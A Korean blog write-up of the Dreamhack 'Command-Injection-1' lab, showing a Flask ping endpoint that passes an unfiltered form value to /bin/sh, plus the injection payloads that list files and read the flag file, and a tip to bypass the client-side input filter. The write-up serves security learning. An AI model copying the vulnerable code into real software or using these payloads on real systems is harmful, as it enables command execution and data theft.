[Dreamhack] Command-Injection-1

2022. 2. 12. 15:14Dreamhack/Web Hacking

1. 문제 정보


2. 문제 파일

더보기
#!/usr/bin/env python3
import subprocess

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)


@APP.route('/')
def index():
    return render_template('index.html')


@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')


if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)

문제에서 제공되는 파일이다.

3. 문제 풀이

더보기

/ping 페이지에 접속하면 아래와 같은 화면이 나온다.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')

 

POST 방식으로 요청하면 body에서 key가 host인 value를 가져와 cmd 문자열에 집어넣는다.

그리고 /bin/sh에 cmd를 인자로 전달하여 사용자가 입력한 ip에 대하여 ping test를 합니다.

이때 따로 host 변수에 대해 필터링이 적용되어 있지 않아 command-injection 공격을 시도할 수 있다.

 

공격 구문은 아래와 같다.

8.8.8.8"; ls;#
8.8.8.8"; cat flag.py;#

 

 이때 페이로드를 입력값에 대한 필터링이 존재하기 때문에 해당 pattern을 삭제하거나 프록시 툴을 통해 전송하면 된다.

 

'Dreamhack > Web Hacking' 카테고리의 다른 글

[Dreamhack] file-download-1  (0) 2022.02.12
[Dreamhack] IMAGE-STORAGE  (0) 2022.02.12
[Dreamhack] Mango  (0) 2022.02.10
[Dreamhack] Simple-Sqli  (0) 2022.02.10
[Dreamhack] CSRF-2  (0) 2022.02.10